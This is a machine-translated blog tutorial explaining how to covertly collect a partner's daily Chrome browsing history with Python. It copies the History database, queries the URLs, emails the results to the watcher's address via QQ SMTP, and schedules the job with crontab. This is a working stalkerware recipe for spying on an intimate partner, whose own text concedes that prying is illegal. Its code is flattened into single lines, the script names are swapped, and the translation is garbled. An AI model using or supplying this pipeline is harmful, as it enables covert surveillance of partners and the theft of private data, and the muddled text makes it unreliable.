Network Security Internet Technology Development Database Servers Mobile Phone Android Software Apple Software Computer Software News IT Information

In addition to Weibo, there is also WeChat

Please pay attention

WeChat public account

Shulou

How does Python monitor website browsing records in real time

2025-04-12 Update From: SLTechnology News&Howtos shulou NAV: SLTechnology News&Howtos > Internet Technology >

Share

Shulou(Shulou.com)06/01 Report--

This article mainly introduces how Python real-time monitoring website browsing records, has a certain reference value, interested friends can refer to, I hope you can learn a lot after reading this article, the following let the editor take you to understand it.

Demand:

(1) get all the URLs (url) and access time in the browsing history of your object chrome the day before, and store them in a txt file

(2) send this txt file to the specified email address (your email address)

(3) set up routine tasks and complete these operations automatically at a regular time every day, so that you can check what your object sees every day through email.

Prepare for

MacOS Sierra

Python3.6

Chrome

QQ Mail address where the email was sent

QQ Mail authorization code

SMTP server address: smtp.qq.com

The email address to which the mail is accepted

Execute:

(1) first of all, we use DB Browser for SQLite to look at the data composition of the urls table in History.

As you can see from the table, the URL and access time we want are in urls.url and urls.last_visit_time

(2) get_history.py:

#-*-coding: utf-8-*-from email import encodersfrom email.header import Headerfrom email.mime.text import MIMETextfrom email.mime.multipart import MIMEMultipartfrom email.mime.base import MIMEBasefrom email.utils import parseaddr, formataddrimport smtplibimport argparse# 1. The required parameters for file execution (result.txt) parser = argparse.ArgumentParser () parser.add_argument ('affix_file',help='the path of the affix') args = parser.parse_args () # 2. Format an email address and email message def _ format_addr (s): name, addr = parseaddr (s) return formataddr ((Header (name, 'utf-8'). Encode (), addr)) # Connect to the server (here everyone can change it to your own!) From_addr = "771568102@qq.com" # Sender mailbox password = "xxxxxxxx" # Sender mailbox authorization code to_addr = "2160802033@cnu.edu.cn" # recipient mailbox smtp_server = "smtp.qq.com" # SMTP server address # Sender's name, recipient's name, Subject msg = MIMEMultipart () msg ['From'] = _ format_addr (' woman like the wind'% from_addr) msg ['To'] = _ format_addr (' man like the wind'% to_addr) msg ['Subject'] = Header (' chrome history updated daily' 'utf-8'). Encode () # the body of the email is MIMEText:msg.attach (MIMEText) (' it's against the law to pry!' , 'plain',' utf-8') # to add an attachment is to add a MIMEBase and read a txt file locally: with open (args.affix_file,'r') as f: # sets the MIME and file name of the attachment Here is the py type: mime = MIMEBase ('result',' txt', filename='result.txt') # plus the necessary header information: mime.add_header ('Content-Disposition',' attachment', filename='result.txt') mime.add_header ('Content-ID',') mime.add_header ('Xmi Attachmentmi ID') '0') # read the contents of the attachment: mime.set_payload (f.read ()) # encode in Base64: encoders.encode_base64 (mime) # add to MIMEMultipart: msg.attach (mime) # 3. Send out server = smtplib.SMTP (smtp_server, 25) server.set_debuglevel (1) server.login (from_addr, password) server.sendmail (from_addr, [to_addr], msg.as_string () server.quit () via SMTP

Through this script, we can extract the url and access time and store it in the

In result.txt

(3) send_email.py:

#-*-coding: utf-8-*-import sqlite3# change to your own path history_db ='/ Users/Marcel/Desktop/tmp/code/chrome_history/History'# 1. Connect history_dbc = sqlite3.connect (history_db) cursor = c.cursor () # 2. Select the URL we want and the access time try: select_statement = "SELECT url,datetime (last_visit_time/1000000-11644473600) AS tm FROM urls WHERE julianday ('now')-julianday (tm) < 1 ORDER BY tm;" cursor.execute (select_statement) except sqlite3.OperationalError: print ("[!] The database is locked! Please exit Chrome and run the script again.") Quit () # 3. Save the URL and access time in the result.txt file results = cursor.fetchall () with open ('/ Users/Marcel/Desktop/tmp/code/chrome_history/result.txt','w') as FRV # and change it to its own path for i in range (len (results)): f.write (results [I] [1] +'\ n') f.write (results [I] [0] +'\ n')

Through this script, we can send result.txt as an attachment to the specified mailbox

Address, the picture below is some of the results I got.

(4). / start.sh: actually, the first few scripts have already completed our task, but they execute so many feet each time.

Ben, it's too troublesome. We can organize the execution statements of these scripts into a shell script.

Cp / Users/Marcel/Library/Application\ Support/Google/Chrome/Default/History / Users/Marcel/Desktop/tmp/code/chrome_history/python / Users/Marcel/Desktop/tmp/code/chrome_history/get_history.pypython / Users/Marcel/Desktop/tmp/code/chrome_history/send_mail.py / Users/Marcel/Desktop/tmp/code/chrome_history/result.txt

In this way, we execute. / start.sh on the terminal, and the system will help us execute the three statements in turn.

Note: since the crontab command requires an absolute path, the paths here are all absolute paths.

(5) crontab: if you use this command, when the computer is turned on and connected to the Internet, the system will execute it automatically and send the result to your mailbox.

How to use it: type crontab-e under the terminal and enter the following line of code using vim

20 14 * / Users/Marcel/Desktop/tmp/code/chrome_history/start.sh

Description: the first two numbers are the time you execute this script every day. I set it here at 14:20.

Say the important thing again, be sure to write the absolute path!

Thank you for reading this article carefully. I hope the article "Python how to monitor the browsing history of the website in real time" shared by the editor will be helpful to everyone. At the same time, I also hope that you will support us and pay attention to the industry information channel. More related knowledge is waiting for you to learn!

Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.

Views: 0

*The comments in the above article only represent the author's personal views and do not represent the views and positions of this website. If you have more insights, please feel free to contribute and share.

Share To

Internet Technology

Wechat

© 2024 shulou.com SLNews company. All rights reserved.

12
Report